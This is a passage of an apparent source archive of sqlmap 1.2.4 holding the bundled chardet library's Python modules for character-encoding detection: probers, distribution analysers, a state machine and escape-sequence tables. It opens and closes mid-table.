13619,13620,13621,13622,13623,13624,13625,13626,13627,13628,13629,13630,13631,13632,13633,13634, #13632 13635,13636,13637,13638,13639,13640,13641,13642,5006,13643,13644,13645,13646,13647,13648,13649, #13648 13650,13651,5007,13652,13653,13654,13655,13656,13657,13658,13659,13660,13661,13662,13663,13664, #13664 13665,13666,13667,13668,13669,13670,13671,13672,13673,13674,13675,13676,13677,13678,13679,13680, #13680 13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,13696, #13696 13697,13698,13699,13700,13701,13702,13703,13704,13705,13706,13707,13708,13709,13710,13711,13712, #13712 13713,13714,13715,13716,13717,13718,13719,13720,13721,13722,13723,13724,13725,13726,13727,13728, #13728 13729,13730,13731,13732,13733,13734,13735,13736,13737,13738,13739,13740,13741,13742,13743,13744, #13744 13745,13746,13747,13748,13749,13750,13751,13752,13753,13754,13755,13756,13757,13758,13759,13760, #13760 13761,13762,13763,13764,13765,13766,13767,13768,13769,13770,13771,13772,13773,13774,3273,13775, #13776 13776,13777,13778,13779,13780,13781,13782,13783,13784,13785,13786,13787,13788,13789,13790,13791, #13792 13792,13793,13794,13795,13796,13797,13798,13799,13800,13801,13802,13803,13804,13805,13806,13807, #13808 13808,13809,13810,13811,13812,13813,13814,13815,13816,13817,13818,13819,13820,13821,13822,13823, #13824 13824,13825,13826,13827,13828,13829,13830,13831,13832,13833,13834,13835,13836,13837,13838,13839, #13840 13840,13841,13842,13843,13844,13845,13846,13847,13848,13849,13850,13851,13852,13853,13854,13855, #13856 13856,13857,13858,13859,13860,13861,13862,13863,13864,13865,13866,13867,13868,13869,13870,13871, #13872 13872,13873,13874,13875,13876,13877,13878,13879,13880,13881,13882,13883,13884,13885,13886,13887, #13888 13888,13889,13890,13891,13892,13893,13894,13895,13896,13897,13898,13899,13900,13901,13902,13903, #13904 13904,13905,13906,13907,13908,13909,13910,13911,13912,13913,13914,13915,13916,13917,13918,13919, #13920 13920,13921,13922,13923,13924,13925,13926,13927,13928,13929,13930,13931,13932,13933,13934,13935, #13936 13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951, #13952 13952,13953,13954,13955,13956,13957,13958,13959,13960,13961,13962,13963,13964,13965,13966,13967, #13968 13968,13969,13970,13971,13972) #13973 # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/big5prober.py000066400000000000000000000032241326012263700212340ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import Big5DistributionAnalysis from .mbcssm import Big5SMModel class Big5Prober(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(Big5SMModel) self._mDistributionAnalyzer = Big5DistributionAnalysis() self.reset() def get_charset_name(self): return "Big5" sqlmap-1.2.4/thirdparty/chardet/chardetect.py000066400000000000000000000047101326012263700213030ustar00rootroot00000000000000#!/usr/bin/env python """ Script which takes one or more file paths and reports on their detected encodings Example:: % chardetect somefile someotherfile somefile: windows-1252 with confidence 0.5 someotherfile: ascii with confidence 1.0 If no paths are provided, it takes its input from stdin. """ from __future__ import absolute_import, print_function, unicode_literals import argparse import sys from io import open from chardet import __version__ from chardet.universaldetector import UniversalDetector def description_of(lines, name='stdin'): """ Return a string describing the probable encoding of a file or list of strings. :param lines: The lines to get the encoding of. :type lines: Iterable of bytes :param name: Name of file or collection of lines :type name: str """ u = UniversalDetector() for line in lines: u.feed(line) u.close() result = u.result if result['encoding']: return '{0}: {1} with confidence {2}'.format(name, result['encoding'], result['confidence']) else: return '{0}: no result'.format(name) def main(argv=None): ''' Handles command line arguments and gets things started. :param argv: List of arguments, as if specified on the command-line. If None, ``sys.argv[1:]`` is used instead. :type argv: list of str ''' # Get command line arguments parser = argparse.ArgumentParser( description="Takes one or more file paths and reports their detected \ encodings", formatter_class=argparse.ArgumentDefaultsHelpFormatter, conflict_handler='resolve') parser.add_argument('input', help='File whose encoding we would like to determine.', type=argparse.FileType('rb'), nargs='*', default=[sys.stdin]) parser.add_argument('--version', action='version', version='%(prog)s {0}'.format(__version__)) args = parser.parse_args(argv) for f in args.input: if f.isatty(): print("You are running chardetect interactively. Press " + "CTRL-D twice at the start of a blank line to signal the " + "end of your input. If you want help, run chardetect " + "--help\n", file=sys.stderr) print(description_of(f, f.name)) if __name__ == '__main__': main() sqlmap-1.2.4/thirdparty/chardet/chardistribution.py000066400000000000000000000220121326012263700225450ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .euctwfreq import (EUCTWCharToFreqOrder, EUCTW_TABLE_SIZE, EUCTW_TYPICAL_DISTRIBUTION_RATIO) from .euckrfreq import (EUCKRCharToFreqOrder, EUCKR_TABLE_SIZE, EUCKR_TYPICAL_DISTRIBUTION_RATIO) from .gb2312freq import (GB2312CharToFreqOrder, GB2312_TABLE_SIZE, GB2312_TYPICAL_DISTRIBUTION_RATIO) from .big5freq import (Big5CharToFreqOrder, BIG5_TABLE_SIZE, BIG5_TYPICAL_DISTRIBUTION_RATIO) from .jisfreq import (JISCharToFreqOrder, JIS_TABLE_SIZE, JIS_TYPICAL_DISTRIBUTION_RATIO) from .compat import wrap_ord ENOUGH_DATA_THRESHOLD = 1024 SURE_YES = 0.99 SURE_NO = 0.01 MINIMUM_DATA_THRESHOLD = 3 class CharDistributionAnalysis: def __init__(self): # Mapping table to get frequency order from char order (get from # GetOrder()) self._mCharToFreqOrder = None self._mTableSize = None # Size of above table # This is a constant value which varies from language to language, # used in calculating confidence. See # http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html # for further detail. self._mTypicalDistributionRatio = None self.reset() def reset(self): """reset analyser, clear any state""" # If this flag is set to True, detection is done and conclusion has # been made self._mDone = False self._mTotalChars = 0 # Total characters encountered # The number of characters whose frequency order is less than 512 self._mFreqChars = 0 def feed(self, aBuf, aCharLen): """feed a character with known length""" if aCharLen == 2: # we only care about 2-bytes character in our distribution analysis order = self.get_order(aBuf) else: order = -1 if order >= 0: self._mTotalChars += 1 # order is valid if order < self._mTableSize: if 512 > self._mCharToFreqOrder[order]: self._mFreqChars += 1 def get_confidence(self): """return confidence based on existing data""" # if we didn't receive any character in our consideration range, # return negative answer if self._mTotalChars <= 0 or self._mFreqChars <= MINIMUM_DATA_THRESHOLD: return SURE_NO if self._mTotalChars != self._mFreqChars: r = (self._mFreqChars / ((self._mTotalChars - self._mFreqChars) * self._mTypicalDistributionRatio)) if r < SURE_YES: return r # normalize confidence (we don't want to be 100% sure) return SURE_YES def got_enough_data(self): # It is not necessary to receive all data to draw conclusion. # For charset detection, certain amount of data is enough return self._mTotalChars > ENOUGH_DATA_THRESHOLD def get_order(self, aBuf): # We do not handle characters based on the original encoding string, # but convert this encoding string to a number, here called order. # This allows multiple encodings of a language to share one frequency # table. return -1 class EUCTWDistributionAnalysis(CharDistributionAnalysis): def __init__(self): CharDistributionAnalysis.__init__(self) self._mCharToFreqOrder = EUCTWCharToFreqOrder self._mTableSize = EUCTW_TABLE_SIZE self._mTypicalDistributionRatio = EUCTW_TYPICAL_DISTRIBUTION_RATIO def get_order(self, aBuf): # for euc-TW encoding, we are interested # first byte range: 0xc4 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that first_char = wrap_ord(aBuf[0]) if first_char >= 0xC4: return 94 * (first_char - 0xC4) + wrap_ord(aBuf[1]) - 0xA1 else: return -1 class EUCKRDistributionAnalysis(CharDistributionAnalysis): def __init__(self): CharDistributionAnalysis.__init__(self) self._mCharToFreqOrder = EUCKRCharToFreqOrder self._mTableSize = EUCKR_TABLE_SIZE self._mTypicalDistributionRatio = EUCKR_TYPICAL_DISTRIBUTION_RATIO def get_order(self, aBuf): # for euc-KR encoding, we are interested # first byte range: 0xb0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that first_char = wrap_ord(aBuf[0]) if first_char >= 0xB0: return 94 * (first_char - 0xB0) + wrap_ord(aBuf[1]) - 0xA1 else: return -1 class GB2312DistributionAnalysis(CharDistributionAnalysis): def __init__(self): CharDistributionAnalysis.__init__(self) self._mCharToFreqOrder = GB2312CharToFreqOrder self._mTableSize = GB2312_TABLE_SIZE self._mTypicalDistributionRatio = GB2312_TYPICAL_DISTRIBUTION_RATIO def get_order(self, aBuf): # for GB2312 encoding, we are interested # first byte range: 0xb0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1]) if (first_char >= 0xB0) and (second_char >= 0xA1): return 94 * (first_char - 0xB0) + second_char - 0xA1 else: return -1 class Big5DistributionAnalysis(CharDistributionAnalysis): def __init__(self): CharDistributionAnalysis.__init__(self) self._mCharToFreqOrder = Big5CharToFreqOrder self._mTableSize = BIG5_TABLE_SIZE self._mTypicalDistributionRatio = BIG5_TYPICAL_DISTRIBUTION_RATIO def get_order(self, aBuf): # for big5 encoding, we are interested # first byte range: 0xa4 -- 0xfe # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe # no validation needed here. State machine has done that first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1]) if first_char >= 0xA4: if second_char >= 0xA1: return 157 * (first_char - 0xA4) + second_char - 0xA1 + 63 else: return 157 * (first_char - 0xA4) + second_char - 0x40 else: return -1 class SJISDistributionAnalysis(CharDistributionAnalysis): def __init__(self): CharDistributionAnalysis.__init__(self) self._mCharToFreqOrder = JISCharToFreqOrder self._mTableSize = JIS_TABLE_SIZE self._mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO def get_order(self, aBuf): # for sjis encoding, we are interested # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe # no validation needed here. State machine has done that first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1]) if (first_char >= 0x81) and (first_char <= 0x9F): order = 188 * (first_char - 0x81) elif (first_char >= 0xE0) and (first_char <= 0xEF): order = 188 * (first_char - 0xE0 + 31) else: return -1 order = order + second_char - 0x40 if second_char > 0x7F: order = -1 return order class EUCJPDistributionAnalysis(CharDistributionAnalysis): def __init__(self): CharDistributionAnalysis.__init__(self) self._mCharToFreqOrder = JISCharToFreqOrder self._mTableSize = JIS_TABLE_SIZE self._mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO def get_order(self, aBuf): # for euc-JP encoding, we are interested # first byte range: 0xa0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that char = wrap_ord(aBuf[0]) if char >= 0xA0: return 94 * (char - 0xA1) + wrap_ord(aBuf[1]) - 0xa1 else: return -1 sqlmap-1.2.4/thirdparty/chardet/charsetgroupprober.py000066400000000000000000000073171326012263700231230ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from . import constants import sys from .charsetprober import CharSetProber class CharSetGroupProber(CharSetProber): def __init__(self): CharSetProber.__init__(self) self._mActiveNum = 0 self._mProbers = [] self._mBestGuessProber = None def reset(self): CharSetProber.reset(self) self._mActiveNum = 0 for prober in self._mProbers: if prober: prober.reset() prober.active = True self._mActiveNum += 1 self._mBestGuessProber = None def get_charset_name(self): if not self._mBestGuessProber: self.get_confidence() if not self._mBestGuessProber: return None # self._mBestGuessProber = self._mProbers[0] return self._mBestGuessProber.get_charset_name() def feed(self, aBuf): for prober in self._mProbers: if not prober: continue if not prober.active: continue st = prober.feed(aBuf) if not st: continue if st == constants.eFoundIt: self._mBestGuessProber = prober return self.get_state() elif st == constants.eNotMe: prober.active = False self._mActiveNum -= 1 if self._mActiveNum <= 0: self._mState = constants.eNotMe return self.get_state() return self.get_state() def get_confidence(self): st = self.get_state() if st == constants.eFoundIt: return 0.99 elif st == constants.eNotMe: return 0.01 bestConf = 0.0 self._mBestGuessProber = None for prober in self._mProbers: if not prober: continue if not prober.active: if constants._debug: sys.stderr.write(prober.get_charset_name() + ' not active\n') continue cf = prober.get_confidence() if constants._debug: sys.stderr.write('%s confidence = %s\n' % (prober.get_charset_name(), cf)) if bestConf < cf: bestConf = cf self._mBestGuessProber = prober if not self._mBestGuessProber: return 0.0 return bestConf # else: # self._mBestGuessProber = self._mProbers[0] # return self._mBestGuessProber.get_confidence() sqlmap-1.2.4/thirdparty/chardet/charsetprober.py000066400000000000000000000035561326012263700220470ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from . import constants import re class CharSetProber: def __init__(self): pass def reset(self): self._mState = constants.eDetecting def get_charset_name(self): return None def feed(self, aBuf): pass def get_state(self): return self._mState def get_confidence(self): return 0.0 def filter_high_bit_only(self, aBuf): aBuf = re.sub(b'([\x00-\x7F])+', b' ', aBuf) return aBuf def filter_without_english_letters(self, aBuf): aBuf = re.sub(b'([A-Za-z])+', b' ', aBuf) return aBuf def filter_with_english_letters(self, aBuf): # TODO return aBuf sqlmap-1.2.4/thirdparty/chardet/codingstatemachine.py000066400000000000000000000044161326012263700230310ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .constants import eStart from .compat import wrap_ord class CodingStateMachine: def __init__(self, sm): self._mModel = sm self._mCurrentBytePos = 0 self._mCurrentCharLen = 0 self.reset() def reset(self): self._mCurrentState = eStart def next_state(self, c): # for each byte we get its class # if it is first byte, we also get byte length # PY3K: aBuf is a byte stream, so c is an int, not a byte byteCls = self._mModel['classTable'][wrap_ord(c)] if self._mCurrentState == eStart: self._mCurrentBytePos = 0 self._mCurrentCharLen = self._mModel['charLenTable'][byteCls] # from byte's class and stateTable, we get its next state curr_state = (self._mCurrentState * self._mModel['classFactor'] + byteCls) self._mCurrentState = self._mModel['stateTable'][curr_state] self._mCurrentBytePos += 1 return self._mCurrentState def get_current_charlen(self): return self._mCurrentCharLen def get_coding_state_machine(self): return self._mModel['name'] sqlmap-1.2.4/thirdparty/chardet/compat.py000066400000000000000000000022051326012263700204550ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # Contributor(s): # Ian Cordasco - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys if sys.version_info < (3, 0): base_str = (str, unicode) else: base_str = (bytes, str) def wrap_ord(a): if sys.version_info < (3, 0) and isinstance(a, base_str): return ord(a) else: return a sqlmap-1.2.4/thirdparty/chardet/constants.py000066400000000000000000000024671326012263700212200ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### _debug = 0 eDetecting = 0 eFoundIt = 1 eNotMe = 2 eStart = 0 eError = 1 eItsMe = 2 SHORTCUT_THRESHOLD = 0.95 sqlmap-1.2.4/thirdparty/chardet/cp949prober.py000066400000000000000000000033661326012263700212650ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCKRDistributionAnalysis from .mbcssm import CP949SMModel class CP949Prober(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(CP949SMModel) # NOTE: CP949 is a superset of EUC-KR, so the distribution should be # not different. self._mDistributionAnalyzer = EUCKRDistributionAnalysis() self.reset() def get_charset_name(self): return "CP949" sqlmap-1.2.4/thirdparty/chardet/escprober.py000066400000000000000000000061631326012263700211650ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from . import constants from .escsm import (HZSMModel, ISO2022CNSMModel, ISO2022JPSMModel, ISO2022KRSMModel) from .charsetprober import CharSetProber from .codingstatemachine import CodingStateMachine from .compat import wrap_ord class EscCharSetProber(CharSetProber): def __init__(self): CharSetProber.__init__(self) self._mCodingSM = [ CodingStateMachine(HZSMModel), CodingStateMachine(ISO2022CNSMModel), CodingStateMachine(ISO2022JPSMModel), CodingStateMachine(ISO2022KRSMModel) ] self.reset() def reset(self): CharSetProber.reset(self) for codingSM in self._mCodingSM: if not codingSM: continue codingSM.active = True codingSM.reset() self._mActiveSM = len(self._mCodingSM) self._mDetectedCharset = None def get_charset_name(self): return self._mDetectedCharset def get_confidence(self): if self._mDetectedCharset: return 0.99 else: return 0.00 def feed(self, aBuf): for c in aBuf: # PY3K: aBuf is a byte array, so c is an int, not a byte for codingSM in self._mCodingSM: if not codingSM: continue if not codingSM.active: continue codingState = codingSM.next_state(wrap_ord(c)) if codingState == constants.eError: codingSM.active = False self._mActiveSM -= 1 if self._mActiveSM <= 0: self._mState = constants.eNotMe return self.get_state() elif codingState == constants.eItsMe: self._mState = constants.eFoundIt self._mDetectedCharset = codingSM.get_coding_state_machine() # nopep8 return self.get_state() return self.get_state() sqlmap-1.2.4/thirdparty/chardet/escsm.py000066400000000000000000000172371326012263700203170ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .constants import eStart, eError, eItsMe HZ_cls = ( 1,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,0,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,0,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,4,0,5,2,0, # 78 - 7f 1,1,1,1,1,1,1,1, # 80 - 87 1,1,1,1,1,1,1,1, # 88 - 8f 1,1,1,1,1,1,1,1, # 90 - 97 1,1,1,1,1,1,1,1, # 98 - 9f 1,1,1,1,1,1,1,1, # a0 - a7 1,1,1,1,1,1,1,1, # a8 - af 1,1,1,1,1,1,1,1, # b0 - b7 1,1,1,1,1,1,1,1, # b8 - bf 1,1,1,1,1,1,1,1, # c0 - c7 1,1,1,1,1,1,1,1, # c8 - cf 1,1,1,1,1,1,1,1, # d0 - d7 1,1,1,1,1,1,1,1, # d8 - df 1,1,1,1,1,1,1,1, # e0 - e7 1,1,1,1,1,1,1,1, # e8 - ef 1,1,1,1,1,1,1,1, # f0 - f7 1,1,1,1,1,1,1,1, # f8 - ff ) HZ_st = ( eStart,eError, 3,eStart,eStart,eStart,eError,eError,# 00-07 eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 08-0f eItsMe,eItsMe,eError,eError,eStart,eStart, 4,eError,# 10-17 5,eError, 6,eError, 5, 5, 4,eError,# 18-1f 4,eError, 4, 4, 4,eError, 4,eError,# 20-27 4,eItsMe,eStart,eStart,eStart,eStart,eStart,eStart,# 28-2f ) HZCharLenTable = (0, 0, 0, 0, 0, 0) HZSMModel = {'classTable': HZ_cls, 'classFactor': 6, 'stateTable': HZ_st, 'charLenTable': HZCharLenTable, 'name': "HZ-GB-2312"} ISO2022CN_cls = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,3,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,4,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022CN_st = ( eStart, 3,eError,eStart,eStart,eStart,eStart,eStart,# 00-07 eStart,eError,eError,eError,eError,eError,eError,eError,# 08-0f eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,# 10-17 eItsMe,eItsMe,eItsMe,eError,eError,eError, 4,eError,# 18-1f eError,eError,eError,eItsMe,eError,eError,eError,eError,# 20-27 5, 6,eError,eError,eError,eError,eError,eError,# 28-2f eError,eError,eError,eItsMe,eError,eError,eError,eError,# 30-37 eError,eError,eError,eError,eError,eItsMe,eError,eStart,# 38-3f ) ISO2022CNCharLenTable = (0, 0, 0, 0, 0, 0, 0, 0, 0) ISO2022CNSMModel = {'classTable': ISO2022CN_cls, 'classFactor': 9, 'stateTable': ISO2022CN_st, 'charLenTable': ISO2022CNCharLenTable, 'name': "ISO-2022-CN"} ISO2022JP_cls = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,2,2, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,7,0,0,0, # 20 - 27 3,0,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 6,0,4,0,8,0,0,0, # 40 - 47 0,9,5,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 